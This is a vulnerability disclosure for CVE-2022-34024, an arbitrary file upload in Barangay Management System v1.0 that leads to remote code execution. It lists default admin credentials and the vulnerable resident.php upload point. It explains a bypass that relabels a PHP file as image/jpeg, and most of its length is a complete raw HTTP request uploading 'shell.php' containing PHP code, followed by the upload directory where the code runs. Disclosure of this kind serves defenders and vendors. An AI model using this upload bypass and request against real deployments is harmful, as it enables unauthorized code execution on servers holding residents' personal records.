CVE-2022-34024: bug_report/RCE-1.md at main · sorabug/bug_report

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Barangay Management System v1.0 by itsourcecode.com has arbitrary code execution (RCE)

The decompression password for the source file is itsourcecode.

Login account: admin/admin (Super Admin account)

Vulnerability url: ip/bmis/pages/resident/resident.php

vendors: https://itsourcecode.com/free-projects/php-project/barangay-management-system-project-in-php-with-source-code/

Loophole location: Background management system Resident module editing function-> resident.php file picture upload point exists arbitrary file upload vulnerability (RCE).

Click “Save” to save

Content-Type: image/jpeg //Key points (Bypass detection by changing “Content Type” to “Content-Type: image/jpeg”)

Request package for file upload：

POST /bmis/pages/resident/resident.php HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/bmis/pages/resident/resident.php Cookie: sessions=aj0k5o11d743ingah9kp1b0ejntrqer6; PHPSESSID=fbu82ocu8kd37b5b20uqq71a35; _ga=GA1.1.1382961971.1655097107; _gid=GA1.1.804632123.1655097107 Connection: close Content-Type: multipart/form-data; boundary=---------------------------197262279020245 Content-Length: 4420 -----------------------------197262279020245 Content-Disposition: form-data; name="hidden_id" 1 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_lname" Suares -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_fname" Jude -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_mname" Reyes -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_bdate" 2021-10-12 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_brgy" Brgy.Tan-awan -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_householdnum" 1 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_dperson" yes -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_btype" 0+ -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_cstatus" Single -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_length" 5 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_national" Filipino -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_igpit" 1122 -----------------------------197262279020245 Content-Disposition: form-data; name="ddl_edit_eattain" Doctorate degree -----------------------------197262279020245 Content-Disposition: form-data; name="ddl_edit_los" Care Taker -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_water" Deep Well -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_toilet" Water-sealed -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_remarks" None -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_uname" jude -----------------------------197262279020245 Content-Disposition: form-data; name="ddl_edit_gender" Male -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_bplace" Brgy. Mambato, Himamaylan City -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_mstatus" single -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_zone" 1 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_householdmem" 10 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_rthead" Brother -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_occp" Programmer -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_income" 300000 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_religion" Catholic -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_skills" Programming -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_phno" 2147483647 -----------------------------197262279020245 Content-Disposition: form-data; name="ddl_edit_hos" Live with Parents/Relatives -----------------------------197262279020245 Content-Disposition: form-data; name="ddl_edit_dtype" 2nd Option -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_lightning" 2147483647 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_faddress" brgy. enlcaro -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_upass" jude123 -----------------------------197262279020245 Content-Disposition: form-data; name="txt_edit_image"; filename="shell.php" Content-Type: image/jpeg //Key points JFJF <?php phpinfo();?> -----------------------------197262279020245 Content-Disposition: form-data; name="btn_save" Save -----------------------------197262279020245 Content-Disposition: form-data; name="table_length" 10 -----------------------------197262279020245–

The files will be uploaded to this directory \bmis\pages\resident\image

We visited the directory of the file in the browser and found that the code had been executed